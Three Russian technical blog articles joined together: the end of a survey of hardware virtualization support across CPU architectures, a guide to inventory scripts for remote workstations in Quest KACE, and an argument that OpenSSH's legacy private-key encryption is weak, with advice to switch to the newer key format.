Простейшее решение, обеспечивающее изоляцию, — это направлять все прерывания в монитор ВМ. Эквивалентность при этом будет обеспечиваться им самим: прерывание при необходимости будет доставлено внутрь гостя через симуляцию изменения его состояния. Монитор может дополнительно создавать виртуальные прерывания, обусловленные только логикой его работы, а не внешними событиями. Однако эффективность такого решения не будет оптимальной. Как правило, реакция системы на прерывание должна произойти в течение ограниченного времени, иначе она потеряет смысл для внешнего устройства или будет иметь катастрофические последствия для системы в целом. Введение слоя виртуализации увеличивает задержку между моментом возникновения события и моментом его обработки в госте по сравнению с системой без виртуализации. Более эффективным является аппаратный контроль за доставкой прерываний, позволяющий часть из них сделать безвредными для состояния системы и не требовать каждый раз вмешательства программы монитора.
##### Многопроцессорные системы
Практически все современные компьютеры содержат в себе более одного ядра или процессора. Кроме того, внутри одного монитора могут исполняться несколько ВМ, каждая из которых может иметь в своём распоряжении несколько виртуальных процессоров. Рассмотрим, как эти обстоятельства влияют на условия виртуализации.
###### Синхронизация и виртуализация
Введение в рассмотрение нескольких хозяйских и гостевых процессоров оставляет условие эффективной виртуализуемости в силе. Однако необходимо обратить внимание на выполнение условий эффективности работы многопоточных приложений внутри ВМ. В отличие от однопоточных, для них характерны процессы синхронизации частей программы, исполняющихся на различных виртуальных процессорах. При этом все участвующие потоки ожидают, когда все они достигнут заранее определённой точки алгоритма, т.н. барьера. В случае виртуализации системы один или несколько гостевых потоков могут оказаться неактивными, вытесненными монитором, из-за чего остальные будут попусту тратить время.
Примером такого неэффективного поведения гостевых систем является синхронизация с задействованием циклических блокировок (*англ.* spin lock) внутри ВМ [9]. Будучи неэффективной и поэтому неиспользуемой для однопроцессорных систем, в случае нескольких процессоров она является легковесной альтернативой другим, более тяжеловесным замкам (*англ.* lock), используемым для входа в критические секции параллельных алгоритмов. Чаще всего они используются внутри операционной системы, но не пользовательских программ, так как только ОС может точно определить, какие из системных ресурсов могут быть эффективно защищены с помощью циклических блокировок. Однако в случае виртуальной машины планированием ресурсов на самом деле занимается не ОС, а монитор ВМ, который в общем случае не осведомлён о них и может вытеснить поток, способный освободить ресурс, тогда как второй поток будет выполнять циклическую блокировку, бесполезно тратя процессорное время. Оптимальным решением при этом является деактивация заблокированного потока до тех пор, пока нужный ему ресурс не освободится.
Существующие решения для данной проблемы описаны ниже.
1. Монитор ВМ может пытаться детектировать использование циклических блокировок гостевой ОС. Это требует анализа кода перед исполнением, установки точек останова по адресам замка. Способ не отличается универсальностью и надёжностью детектирования.
2. Гостевая система может сигнализировать монитору о намерении использовать циклическую блокировку с помощью специальной инструкции. Способ более надёжный, однако требующий модификации кода гостевой ОС.
###### Прерывания в многопроцессорных системах
Наконец, отметим, что схемы доставки и обработки прерываний в системах с несколькими процессорами также более сложны, и это приходится учитывать при создании монитора ВМ для таких систем, при этом его эффективность может оказаться ниже, чем у однопроцессорного эквивалента.
#### Преобразование адресов
Модель машинных инструкций, использованная ранее для формулировки утверждения об эффективной виртуализации, использовала простую линейную схему трансляции адресов, основанную на сегментации, популярную в 70-х годах прошлого века. Она является вычислительно простой, не изменяется при введении монитора ВМ, и поэтому анализа влияния механизма преобразования адресов на эффективность не производилось.
В настоящее время механизмы страничной виртуальной памяти и применяют нелинейное преобразование виртуальных адресов пользовательских приложений в физические адреса, используемые аппаратурой. Участвующий при этом системный ресурс — регистр-указатель адреса таблицы преобразований (чаще всего на практике используется несколько таблиц, образующих иерархию, имеющую общий корень). В случае работы ВМ этот указатель необходимо виртуализовать, так как у каждой гостевой системы содержимое регистра своё, как и положение/содержимое таблицы. Стоимость программной реализации этого механизма внутри монитора высока, поэтому приложения, активно использующие память, могут терять в эффективности при виртуализации.
Для решения этой проблемы используется двухуровневая аппаратная трансляция адресов (рис. 3). Гостевые ОС видят только первый уровень, тогда как генерируемый для них физический адрес в дальнейшем транслируется вторым уровнем в настоящий адрес.
Рис. 3: Двухуровневая трансляция адресов. Первый уровень контролируется гостевыми ОС, второй — монитором виртуальных машин
##### TLB
Другой ресурс ЭВМ, отвечающий за преобразование адресов, — это буфер ассоциативной трансляции (*англ.* translation lookaside buffer, TLB), состоящий из нескольких записей. Каждая гостевая система имеет своё содержимое TLB, поэтому при смене активной ВМ или переходе в монитор он должен быть сброшен. Это негативно сказывается на производительности систем, так как восстановление его содержимого требует времени, в течение которого приходится использовать менее эффективное обращение к таблице трансляций адресов, расположенной в памяти.
Решение состоит в разделении ресурсов TLB между всеми системами [10]. Каждая строка буфера ассоциируется с идентификатором — тэгом, уникальным для каждой ВМ. При поиске в нём аппаратурой учитываются только строки, тэг которых соответствует текущей ВМ.
##### Преобразование адресов для периферийных устройств
Кроме процессоров к оперативной памяти напрямую могут обращаться и периферийные устройства — с помощью технологии DMA (*англ.* direct memory access). При этом обращения в классических системах без виртуализации идёт по физическим адресам. Очевидно, что внутри виртуальной машины необходимо транслировать такие адреса, что превращается в накладные расходы и понижение эффективности монитора.
Решение состоит в использовании устройства IOMMU (*англ.* Input output memory management unit), позволяющего контролировать обращения хозяйских устройств к физической памяти.
#### Расширение принципа
Расширим условие виртуализуемости, заменив в нём слово «инструкция» на «операция»: **множество служебных операций является подмножеством привилегированных.** При этом под операцией будем подразумевать любую архитектурно определённую активность по чтению или изменению состояния системы, в том числе инструкции, прерывания, доступы к устройствам, преобразования адресов и т.п.
При этом условие повышения эффективности виртуализации будет звучать следующим образом: **в архитектуре системы должно присутствовать минимальное число служебных операций**. Достигать его можно двумя способами: переводя служебные инструкции в разряд безвредных или уменьшая число привилегированных. Для этого большинство архитектур пошло по пути добавления в регистр состояния M нового режима r — режима монитора ВМ (*англ.* root mode). Он соотносится с режимом s так, как s — с u; другими словами, обновлёный класс привилегированных инструкций теперь вызывает ловушку потока управления, переводящую процессор из s в r.
#### Статус поддержки в современных архитектурах
Рассмотрим основные современные архитектуры вычислительных систем, используемых на серверах, рабочих станциях, а также во встраиваемых системах, с точки зрения практической реализации описанных выше теоретических принципов. См. также серию статей [5,6,7].
##### IBM POWER
Компания IBM была одной из первых, выведших архитектуру с аппаратной поддержкой виртуализации на рынок серверных микропроцессоров в серии POWER4 в 2001 году. Она предназначалась для создания изолированных логических разделов (*англ.* logical partitions, LPAR), с каждым из которых ассоциированы один или несколько процессоров и ресурсы ввода-вывода. Для этого в процессор был добавлен новый режим гипервизора к уже присутсвовавшим режимам супервизора и пользователя. Для защиты памяти каждый LPAR ограничен в режиме с отключенной трансляцией адресов и имеет доступ лишь к небольшому приватному региону памяти; для использования остальной памяти гостевая ОС обязана включить трансляцию, контролируемую монитором ВМ.
В 2004 году развитие этой архитектуры, названное POWER5, принесло серьёзные усовершенствования механизмов виртуализации. Так, было добавлено новое устройство таймера, доступное только для монитора ВМ, что позволило ему контролировать гостевые системы более точно и выделять им процессорные ресурсы с точностью до сотой доли от процессора. Также монитор ВМ получил возможность контролировать адрес доставки прерываний — в LPAR или в гипервизор. Самым важным же нововведением являлся тот факт, что присутствие гипервизора являлось обязательным — он загружался и управлял системными ресурсами, даже если в системе присутствовал единственный LPAR-раздел. Поддерживаемые ОС (AIX, Linux, IBM i) были модифицированы с учётом этого, чтобы поддерживать своеобразную паравиртуализационную схему. Для управления устройствами ввода-вывода один (или два, для балансировки нагрузки) из LPAR загружает специальную операционную систему — virtual I/O server (VIOS), предоставляющую эти ресурсы для остальных разделов.
##### SPARC
Компания Sun, развивавшая системы UltraSPARC и ОС Solaris, предлагала виртуализацию уровня ОС (т.н. контейнеры или зоны) начиная с 2004 г. В 2005 году в многопоточных процессорах Niagara 1 была представлена аппаратная виртуализация. При этом гранулярность виртуализации была равна одному потоку (всего чип имел восемь ядер, четыре потока на каждом).
Для взаимодействия ОС и гипервизора был представлен публичный и стабильный интерфейс для привилегированных приложений [3], скрывающий от ОС большинство архитектурных регистров.
Для трансляции адресов используется описанная ранее двухуровневая схема с виртуальными, реальными и физическими адресами. При этом TLB не хранит промежуточный адрес трансляции.
##### Intel IA-32 и AMD AMD64
В отличие от POWER и SPARC, архитектура IA-32 (и её расширение AMD64) никогда не была подконтрольна одной компании, которая могла бы добавлять функциональность (пара)виртуализации между аппаратурой и ОС, нарушающую обратную совместимость с существующими операционными системами. Кроме того, в ней явно нарушены условия эффективной виртуализации — около 17 служебных инструкций не являются привилегированными, что мешало создать аппаратно поддерживаемые мониторы ВМ. Однако программные мониторы существовали и до 2006 года, когда Intel представила технологию VT-x, а AMD — похожую, но несовместимую с ней AMD-V.
Были представлены новые режимы процессора — VMX root и non root, и уже существовавшие режимы привилегий 0-3 могут быть использованы в обоих из них. Переход между режимами может быть осуществлён с помощью новых инструкций vmxon и vmxoff.
Для хранения состояния гостевых систем и монитора используется новая структура VMCS (*англ.* virtual machine control structure), копии которой размещены в физической памяти и доступны для монитора ВМ.
Интересным решением является конфигурируемость того, какие события в госте будут вызывать событие ловушки и переход в гипервизор, а какие оставлены на обработку ОС. Например, для каждого гостя можно выбрать, будут ли внешние прерывания обрабатываться им или монитором; запись в какие биты контрольных регистров CR0 и CR4 будет перехватываться; какие исключения должны обрабатываться гостём, а какие — монитором и т.п. Данное решение позволяет добиваться компромисса между степенью контроля над каждой ВМ и эффективностью виртуализации. Таким образом, для доверенных гостей контроль монитора может быть ослаблен, тогда как одновременно исполняющиеся с ними сторонние ОС будут всё так же под его строгим наблюдением. Для оптимизации работы TLB используется описанная выше техника тэгирования его записей с помощью ASID (*англ.* address space identifier). Для ускорения процесса трансляции адресов двухуровневая схема трансляции получила имя Intel EPT (*англ.* extended page walk).
##### Intel IA-64 (Itanium)
Intel добавила аппаратную виртуализацию в Itanium (технология VT-i [4]) одновременно с IA-32 — в 2006 году. Специальный режим включался с помощью нового бита в статусном регистре PRS.vm. С включенным битом ранее служебные, но не привилегированные инструкции начинают вызывать ловушку и выход в монитор. Для возвращения в режим гостевой ОС используется инструкция vmsw. Часть инструкций, являющаяся служебными, при включенном режиме виртуализации генерируют новый вид синхронного исключения, для которого выделен собственный обработчик.
Поскольку операционная система обращается к аппаратуре посредством специального интерфейса PAL (*англ.* processor abstraction level), последний был расширен, чтобы поддерживать такие операции, как создание и уничтожение окружений для гостевых систем, сохранение и загрузка их состояния, конфигурирование виртуальных ресурсов и т.д. Можно отметить, что добавление аппаратной виртуализации в IA-64 потребовало меньшего количества усилий по сравнению с IA-32.
##### ARM
Архитектура ARM изначально была предназначена для встраиваемых и мобильных систем, эффективная виртуализация которых, по сравнению с серверными системами, долгое время не являлась ключевым фактором коммерческого и технологического успеха. Однако в последние годы наметилась тенденция к использованию ВМ на мобильных устройствах для обеспечения защиты критически важных частей системного кода, например, криптографических ключей, используемых при обработке коммерческих транзакций. Кроме того, процессоры ARM стали продвигаться на рынок серверных систем, и это потребовало расширить архитектуру и добавить в неё такие возможности, как поддержка адресации больших объёмов памяти и виртуализация.
Оба аспекта были отражены в избранном компанией ARM подходе к развитию своей архитектуры. На рис. 4 представлена схема, подразумевающая вложенность двух уровней виртуализации, представленная в 2010 году в обновлении архитектуры Cortex A15 [1].
Рис. 4: Виртуализация ARM. Монитор TrustZone обеспечивает изоляцию и криптографическую аутентификацию доверенного «мира». В обычном «мире» используется собственный монитор ВМ
Для обеспечения изоляции критических компонент используется первый слой виртуализации, называемый TrustZone. С его помощью все запущенные программные компоненты делятся на два «мира» — доверенный и обычный. В первой среде исполняются те части системы, работа которых не должна быть подвластна внешним влияниям обычного кода. Во второй среде исполняются пользовательские приложения и операционная система, которые теоретически могут быть скомпрометированы. Однако обычный «мир» не имеет доступа к доверенному. Монитор TrustZone обеспечивает доступ в обратном направлении, что позволяет доверенному коду контролировать состояние аппаратуры.
Второй слой виртуализации исполняется под управлением недоверенного монитора и предоставляет возможности мультиплексирования работы нескольких пользовательских ОС. В нём добавлены новые инструкции HVC и ERET для входа и выхода в/из режим(а) гипервизора. Для событий ловушки использован ранее зарезервированный вектор прерываний 0x14, добавлены новые регистры: указатель стэка SPSR, состояние виртуальных ресурсов HCR и регистр «синдрома» HSR, в котором хранится причина выхода из гостя в монитор, что позволяет последнему быстро проанализировать ситуацию и проэмулировать необходимую функциональность без избыточного чтения состояния гостя.
Так же, как это сделано в рассмотренных ранее архитектурах, для ускорения механизмов трансляции адресов используется двухуровневая схема, в которой физические адреса гостевых ОС являются промежуточными. Внешние прерывания могут быть настроены как на доставку монитору, который потом перенаправляет их в гость с помощью механизма виртуальных прерываний, так и на прямую отправку в гостевую систему.
##### MIPS
Процессоры MIPS развивались в направлении, обратном наблюдаемому для ARM: от высокопроизводительных систем к встраиваемым и мобильным. Тем не менее, аппаратная виртуализация для неё появилась относительно недавно, в 2012 г. Архитектура MIPS R5 принесла режим виртуализации MIPS VZ [2]. Он доступен как для 32-битного, так и для 64-битного варианта архитектуры.
Добавленное архитектурное состояние позволяет хранить контекст ВМ и монитора отдельно. Например, для нужд гипервизора введена копия системного регистра COP0, независимая от копии гостя. Это позволяет оптимизировать время переключения между ними, в то время как переключение между несколькими гостевыми ОС требует обновления COP0 содержимым из памяти и является менее эффективным. Кроме того, часть бит гостевого регистра, описывающие набор возможностей текущего варианта архитектуры и потому ранее используемые только для чтения, из режима монитора доступны для записи, что позволяет ему декларировать возможности, отличные от действительно присутствующих на хозяине.
Привилегии гипервизора, операционной системы и пользователя образуют т.н. луковую (*англ.* onion) модель. В ней обработка прерываний идёт снаружи внутрь, т.е. сначала каждое из них проверяется на соответствие правилам монитора, затем ОС. Синхронные исключения (ловушки), наоборот, обрабатываются сперва ОС, а затем монитором.
Так же, как это сделано в рассмотренных ранее архитектурах, для ускорения механизмов трансляции адресов используют тэги в TLB и двухуровневую трансляцию в MMU. Для поддержки разработки паравиртуализационных гостей добавлена новая инструкция hypercall, вызывающая ловушку и выход в режим монитора.
#### Дополнительные темы
В заключение рассмотрим дополнительные вопросы обеспечения эффективной виртуализации, связанные с переключением между режимами монитора и ВМ.
##### Уменьшение частоты и выходов в режим монитора с помощью предпросмотра инструкций
Частые прерывания работы виртуальной машины из-за необходимости выхода в монитор негативно влияют на скорость симуляции. Несмотря на то, что производители процессоров работают над уменьшением связанных с этими переходами задержек (для примера см. таблицу 1), они всё же достаточно существенны, чтобы пытаться минимизировать их частоту возникновения.
| Микроархитектура | Дата запуска | Задержка, тактов |
| --- | --- | --- |
| Prescott | 3 кв. 2005 | 3963 |
| Merom | 2 кв. 2006 | 1579 |
| Penryn | 1 кв. 2008 | 1266 |
| Nehalem | 3 кв. 2009 | 1009 |
| Westmere | 1 кв. 2010 | 761 |
| Sandy Bridge | 1 кв. 2011 | 784 |
Таблица 1. Длительность перехода между режимами аппаратной виртуализации для различных поколений микроархитектур процессоров Intel IA-32 (данные взяты из [11])
Если прямое исполнение с использованием виртуализации оказывается неэффективным, имеет смысл переключиться на другую схему работы, например, на интерпретацию или двоичную трансляцию (см. мою серию постов на IDZ: [1](http://software.intel.com/ru-ru/blogs/2013/09/28/1), [2](http://software.intel.com/ru-ru/blogs/2013/09/29/2), [3](http://software.intel.com/ru-ru/blogs/2013/09/29/3)).
На практике исполнения ОС характерна ситуация, что инструкции, вызывающие ловушки потока управления, образуют кластера, в которых две или более из них находятся недалеко друг от друга, тогда как расстояние между кластерами значительно. В следующем блоке кода для IA-32 приведён пример такого кластера. Звёздочкой обозначены все инструкции, вызывающие выход в монитор.
```
* in %al,%dx
* out $0x80,%al
mov %al,%cl
mov %dl,$0xc0
* out %al,%dx
* out $0x80,%al
* out %al,%dx
* out $0x80,%al
```
Для того, чтобы избежать повторения сценария: выход из ВМ в монитор, интерпретация инструкции, обратный вход в ВМ только для того, чтобы на следующей инструкции вновь выйти в монитор, — используется предпросмотр инструкций [11]. После обработки ловушки, прежде чем монитор передаст управление обратно в ВМ, поток инструкций просматривается на несколько инструкций вперёд в поисках привилегированных инструкций. Если они обнаружены, симуляция на некоторое время переключается в режим двоичной трансляции. Тем самым избегается негативное влияние эффекта кластеризации привилегированных инструкций.
##### Рекурсивная виртуализация
Ситуация, когда монитор виртуальных машин запускается под управлением другого монитора, непосредственно исполняющегося на аппаратуре, называется рекурсивной виртуализацией. Теоретически она может быть не ограничена только двумя уровнями — внутри каждого монитора ВМ может исполняться следующий, тем самым образуя иерархию гипервизоров.
Возможность запуска одного гипервизора под управлением монитора ВМ (или, что тоже самое, симулятора) имеет практическую ценность. Любой монитор ВМ — достаточно сложная программа, к которой обычные методы отладки приложений и даже ОС неприменимы, т.к. он загружается очень рано в процессе работы системы, когда отладчик подключить затруднительно. Исполнение под управлением симулятора позволяет инспектировать и контролировать его работу с самой первой инструкции.
Голдберг и Попек в своей упомянутой ранее работе рассмотрели вопросы эффективной поддержки в том числе и рекурсивной виртуализации. Однако их выводы, к сожалению, не учитывают многие из упомянутых выше особенностей современных систем.
Рассмотрим одно из затруднений, связанных со спецификой вложенного запуска мониторов ВМ — обработку ловушек и прерываний. В простейшем случае за обработку всех типов исключительных ситуаций всегда отвечает самый внешний монитор, задача которого — или обработать событие самостоятельно, тем самым «спрятав» его от остальных уровней, или передать его следующему.
Как для прерываний, так и для ловушек это часто оказывается неоптимальным — событие должно пройти несколько уровней иерархии, каждый из которых внесёт задержку на его обработку. На рис. 5 показана обработка двух типов сообщений — прерывания, возникшего во внешней аппаратуре, и ловушки потока управления, случившейся внутри приложения.
Рис. 5: Рекурсивная виртуализация. Все события должны обрабатываться внешним монитором, который спускает их вниз по иерархии, при этом формируется задержка
Для оптимальной обработки различных типов ловушек и прерываний для каждого из них должен быть выбран уровень иерархии мониторов ВМ, и при возникновении события управление должно передаваться напрямую этому уровню, минуя дополнительную обработку вышележащими уровнями и без связанных с этим накладных расходов.
###### Поддержка рекурсивной виртуализации в существующих решениях
Задаче аппаратной поддержки второго и более уровней вложенности виртуализации производители процессоров уделяют значительно меньше внимания, чем первому её уровню. Тем не менее такие работы существуют. Так, ещё в восьмидесятых годах двадцатого века для систем IBM/370 [13] была реализована возможность запуска копий системного ПО внутри уже работающей на аппаратуре операционной системы. Для этой задачи была введена инструкция SIE (*англ.* start interpreted execution) [14]. Существуют предложения об интерфейсе между вложенными уровнями виртуализации [12], который позволил бы эффективно поддерживать вложенность нескольких мониторов ВМ, и реализация рекурсивной виртуализации для IA-32 [15]. Однако современные архитектуры процессоров всё же ограничиваются аппаратной поддержкой максимум одного уровня виртуализации.
#### Литература
1. Goodacre John. Hardware accelerated Virtualization in the ARM Cortex Processors. 2011. [xen.org/files/xensummit\_oul11/nov2/2\_XSAsia11\_JGoodacre\_HW\_accelerated\_virtualization\_in\_the\_ARM\_Cortex\_processors.pdf](http://xen.org/files/xensummit_oul11/nov2/2_XSAsia11_JGoodacre_HW_accelerated_virtualization_in_the_ARM_Cortex_processors.pdf)
2. Hardware-assisted Virtualization with the MIPS Virtualization Module. 2012. [www.mips.com/application/login/login.dot?product\_name=/auth/MD00994-2B-VZMIPS-WHT-01.00.pdf](https://www.mips.com/application/login/login.dot?product_name=/auth/MD00994-2B-VZMIPS-WHT-01.00.pdf)
3. Hypervisor/Sun4v Reference Materials. 2012. [kenai.com/projects/hypervisor/pages/ReferenceMaterials](http://kenai.com/projects/hypervisor/pages/ReferenceMaterials)
4. Intel Virtualization Technology / F. Leung, G. Neiger, D. Rodgers et al. // Intel Technology Journal. 2006. Vol. 10. [www.intel.com/technology/itj/2006/v10i3](http://www.intel.com/technology/itj/2006/v10i3/)
5. McGhan Harlan. The gHost in the Machine: Part 1 // Microprocessor Report. 2007. [mpronline.com](http://mpronline.com)
6. McGhan Harlan. The gHost in the Machine: Part 2 // Microprocessor Report. 2007. [mpronline.com](http://mpronline.com)
7. McGhan Harlan. The gHost in the Machine: Part 3 // Microprocessor Report. 2007. [mpronline.com](http://mpronline.com)
8. Popek Gerald J., Goldberg Robert P. Formal requirements for virtualizable third generation architectures // Communications of the ACM. Vol. 17. 1974.
9. Southern Gabriel. Analysis of SMP VM CPU Scheduling. 2008. [cs.gmu.edu/~hfoxwell/cs671projects/southern\_v12n.pdf](http://cs.gmu.edu/~hfoxwell/cs671projects/southern_v12n.pdf)
10. Yang Rongzhen. Virtual Translation Lookaside Buffer. 2008. [www.patentlens.net/patentlens/patent/US\_2008\_0282055\_A1/en](http://www.patentlens.net/patentlens/patent/US_2008_0282055_A1/en/).
11. Software techniques for avoiding hardware virtualization exits / Ole Agesen, Jim Mattson, Radu Rugina, Jeffrey Sheldon // Proceedings of the 2012 USENIX conference on Annual Technical Conference. USENIX ATC'12. Berkeley, CA, USA : USENIX Association, 2012. P. 35-35. [www.usenix.org/system/files/conference/atc12/atc12-final158.pdf](https://www.usenix.org/system/files/conference/atc12/atc12-final158.pdf)
12. Poon Wing-Chi, Mok A.K. Improving the Latency of VMExit Forwarding in Recursive Virtualization for the x86 Architecture // System Science (HICSS), 2012 45th Hawaii International Conference on. 2012. P. 5604-5612.
13. Osisek D. L., Jackson K. M., Gum P. H. ESA/390 interpretive execution architecture, foundation for VM/ESA // IBM Syst. J. — 1991— V. 30, No 1. — Pp. 34–51. — ISSN: 0018-8670. —DOI: 10.1147/sj.301.0034.
14. Andy Glew. SIE. — [semipublic.comp-arch.net/wiki/SIE](http://semipublic.comp-arch.net/wiki/SIE)
15. The Turtles Project: Design and Implementation of Nested Virtualization / Muli Ben-Yehuda [et al.] //. — 2010. — P. 423–436. [www.usenix.org/event/osdi10/tech/full\_papers/Ben-Yehuda.pdf](http://www.usenix.org/event/osdi10/tech/full_papers/Ben-Yehuda.pdf) | https://habr.com/ru/post/196444/ | null | ru | null |
# Три кейса инвентаризации рабочих станций в условиях удалённой работы
Управление рабочими станциями при их физическом отсутствии в офисе — новый вызов для компаний, которые перевели сотрудников на удалённый режим работы. При наличии прав администратора, пользователи, непреднамеренно могут установить софт, который окажется эксплойтом для чьего-то злого умысла. Например, многим известен кейс отказа от Zoom в Google, SpaceX и других известных компаниях и государственных структурах.
В этой статье мы разберём примеры использования решения для распространения ПО и инвентаризации [Quest KACE](https://habr.com/ru/company/galssoftware/blog/467657/) в том числе и для обнаружения на рабочих станциях того же Zoom. Подробности под катом.
Как найти и обезвредить Zoom
============================
Zoom — коварный, он не устанавливается в Program Files, вместо этого ставится в персональную папку того пользователя, который установил его на рабочей станции (\*\*someuser\*\*\AppData\Roaming\Zoom\bin\zoom.exe). В реестре его следы найти тоже можно, но зачем всё усложнять?
Если вашими корпоративными политиками запрещено устанавливать некоторое ПО и вам известно какое, найти его будет легко при помощи выполнения специализированных shell-скриптов через установленные агенты KACE на рабочих станциях. В KACE есть такое понятие как Custom Inventory Rule. При помощи его, можно привязывать дополнительную инвентарную информацию к каждому обнаруженному устройству. Например, зная где искать, можно рекурсивно выполнить поиск zoom.exe во всех директориях вида c:\Users\\*\*someuser\*\*\AppData\Roaming\Zoom\bin\zoom.exe.
**Листинг команды**
```
ShellCommandTextReturn(CMD /q /c for /d %u in (\Users\*) do (if exist %u\AppData\Roaming\Zoom\bin\zoom.exe echo %u))
```
После очередного цикла инвентаризации мы обнаружим на каждой рабочей станции с установленным Zoom запись с указанием пользовательской папки.
Теперь осталось сформировать PDF-отчёт (доступны также форматы txt, csv, html, xls) и отправить его заинтересованным коллегам. Отчёты можно формировать на регулярной основе.
После выявление несанкционированно установленного Zoom его можно также удалить известной командой деинсталляции. Кстати, в дополнение к поиску по директории можно спрашивать про Zoom и в реестре Windows из этого же самого скрипта.
Проверяем внешний IP-адрес пользовательского устройства
=======================================================
Другой популярный кейс в условиях пандемии — выявление внешнего IP-адреса пользователя. Может быть полезно для формирования списка локаций удалённых сотрудников или какого-то другого вида отчётности.
**Листинг команды**
```
ShellCommandTextReturn(nslookup myip.opendns.com resolver1.opendns.com)
```
Результат по каждой рабочей станции будет таким. Первый адрес — адрес резолвера, а второй — адрес пользователя.
Эту информацию можно также оформить в виде отчёта и отправлять при необходимости. Скрипт можно усложнить и запрашивать, например, географическую привязку и провайдера.
Проверка истечения KMS-активации лицензии Windows
=================================================
В обычной ситуации внутри компании есть KMS-сервер, который активирует операционную систему. Если активация имеет свой срок, а KMS сервер доступен только из внутренней сети, продление работы Windows на удалённых рабочих станциях будет невозможен. Чтобы выявить неактивированные рабочие станции, в Windows есть специальный slmgr.
**Листинг команды**
```
ShellCommandTextReturn(cscript.exe c:\windows\system32\slmgr.vbs /dli)
```
При её выполнении отображается следующий вывод:
Таким образом видно, что система активируется из KMS и администраторы могут по каждой отдельной рабочей станции принять решение о переводе на MAK-активацию.
Расскажите в комментариях какие ещё задачи вы решаете на рабочих станциях удалённых сотрудников.
**Другие статьи по KACE:**
[Инвентаризация от И до Я. Считаем лицензии на ПО.](https://habr.com/ru/company/galssoftware/blog/467657/)
[Инвентаризация от И до Я. Считаем ИТ-активы.](https://habr.com/ru/company/galssoftware/blog/476096/)
[Управление ИТ без сучков и с задоринкой.](https://habr.com/ru/company/galssoftware/blog/442828/)
На нашем сайте можно посмотреть [все возможности платформы Quest KACE](https://gals.software/vendors/quest/kace) и отправить запрос на получение дистрибутива или проведение пилотного проекта через форму обратной связи. | https://habr.com/ru/post/503744/ | null | ru | null |
# Шифрование ключа по умолчанию в OpenSSH хуже его отсутствия
*Авторы этого материала приводят аргументы против стандартных механизмов шифрования ключа в OpenSSH.*
Недавно злоумышленники использовали npm-пакет eslint-scope для кражи npm-токенов из домашних каталогов пользователей. В свете этого события мы занялись проверкой других подобных уязвимостей и задумались над тем, как снизить риски и последствия таких инцидентов.
У большинства из нас под рукой есть RSA SSH-ключ. Такой ключ наделяет владельца самыми разными привилегиями: как правило, он используется для доступа к production среде или в GitHub. В отличие от nmp-токенов SSH-ключи зашифрованы, и поэтому принято считать, что ничего страшного не произойдет, даже если они попадут не в те руки. Но так ли это на самом деле? Давайте узнаем.
> `user@work /tmp $ ssh-keygen
>
> Generating public/private rsa key pair.
>
> Enter file in which to save the key (/home/user/.ssh/id_rsa): mykey
>
> ...
>
> user@work /tmp $ head -n 5 mykey
>
> -----BEGIN RSA PRIVATE KEY-----
>
> Proc-Type: 4,ENCRYPTED
>
> DEK-Info: AES-128-CBC,CB973D5520E952B8D5A6B86716C6223F
>
>
>
> +5ZVNE65kl8kwZ808e4+Y7Pr8IFstgoArpZJ/bkOs7rB9eAfYrx2CLBqLATk1RT/`
Этот ключ зашифрован, о чем гласит одна из первых строк файла. Кроме того, в начале нет MII — base64-ключа кодирования, используемого в RSA. И, конечно же, в глаза бросается AES! Это ведь хорошо, так? И CBC, на первый взгляд, со случайным вектором инициализации. Кода аутентификации (MAC’а) нет. Ну и ладно, зато не будет никакой padding oracle атаки, верно?
Узнать, что на деле означает содержимое DEK-Info, не так-то просто. Поиск по ключевому слову «DEK-Info» в репозитории openssh-portable показывает только примеры ключей. Но суть здесь в том, что AES-ключ есть не что иное, как простой MD5-хеш (пароль || вектор инициализации [:8]). И это скверно, ведь передовые практики хранения паролей гласят, что пароли в чистом виде в силу своей низкой энтропии представляют собой плохой материал для шифрования. И, чтобы сделать его лучше, нужна затратная функция вроде Argon2. Но MD5, в отличие от последнего, легко поддается вычислению.
Единственный положительный момент в этой схеме в том, что соль помещается после пароля, поэтому вычислить промежуточное состояние MD5(IV[8:]) и подобрать пароли на его основании не получится. Но это слабое утешение, особенно в эпоху, когда нам доступны машины, выполняющие миллиарды вызовов MD5 в секунду, — больше, чем можно придумать паролей.
У вас может возникнуть вопрос, как OpenSSH дожил до такого. Увы, ответ прост: инструмент командной строки OpenSSL изначально использовал эту схему по умолчанию, и она попросту стала нормой.
В итоге справедливым становится замечание, что стандартные, зашифрованные паролем ключи ничем не лучше обычных незашифрованных просто потому, что механизм шифрования неэффективен. Однако мы высказались бы еще смелее — они хуже. И аргументировать это просто.
Для хранения пароля от SSH-ключа многие едва ли будут пользоваться менеджером паролей. Скорее пользователь просто запомнит его. И, поскольку это одна из выученных на память комбинаций, велика вероятность, что пользователь уже применял ее где-либо еще. Возможно, она даже совпадает с пользовательским паролем от устройства. Угадать его вполне реально (слишком ненадежная у него формирующая функция), и если пароль станет известен, можно проверить его наверняка по публичному ключу.
К самой паре RSA-ключей никаких претензий нет: весь вопрос лишь в методах симметричного шифрования приватного ключа. Провести описанную выше атаку, зная один лишь открытый ключ, нельзя.
### Как можно исправить ситуацию?
В OpenSSH предусмотрен новый формат ключей, которым следует пользоваться. Под новым имеется в виду введенный в 2013 году. Этот формат использует bcrypt\_pbkdf, по существу представляющий собой bcrypt с фиксированной сложностью, реализованный в рамках стандарта PBKDF2.
Удобно то, что вы автоматически получаете ключ нового формата при генерации Ed25519 ключей, поскольку старый формат SSH-ключа не поддерживает более новые типы ключей. Это довольно странно, ведь на самом деле нам вовсе не нужно, чтобы формат ключа определял, как работает Ed25519-сериализация, поскольку Ed25519 сам по себе задает работу сериализации. Но если уж нужна хорошая формирующая функция, то можно не заморачиваться с такими мелочами. В итоге один из ответов — *ssh-keygen -t ed25519*.
Если по соображениям совместимости необходимо придерживаться RSA, можно воспользоваться ssh-keygen -o. Таким образом, можно получить новый формат даже для старых типов ключей. Обновить старые ключи можно с помощью команды *ssh-keygen -p -o -f имя ключа*. Если ваши ключи живут на Yubikey или смарт-картах, то там эти поправки уже учтены.
Так или иначе, мы стремимся к более оптимальному выходу. С одной стороны, есть хороший пример aws-vault, в которой информация об учетных данных была перемещена с диска в связки ключей. Есть и иной подход: перемещение разработки в разделенные окружения. И, наконец, большинству стартапов следует рассмотреть отказ от длительного хранения SSH-ключей и переход на центр SSH-сертификации с ограниченным временем хранения ключей вкупе с системой единого входа. К сожалению, в случае с GitHub такой подход невозможен.
**P. S.** Трудно проверить эту информацию в авторитетном источнике, но, если нам не изменяет память, версионный параметр в приватных ключах OpenSSH формата PEM влияет только на способ шифрования. Однако это не играет никакой роли: проблема заключается в формирующей ключ функции, и, думаем, это еще один аргумент против обсуждения протоколов по частям. На эту тему будет отдельный пост в нашем блоге.
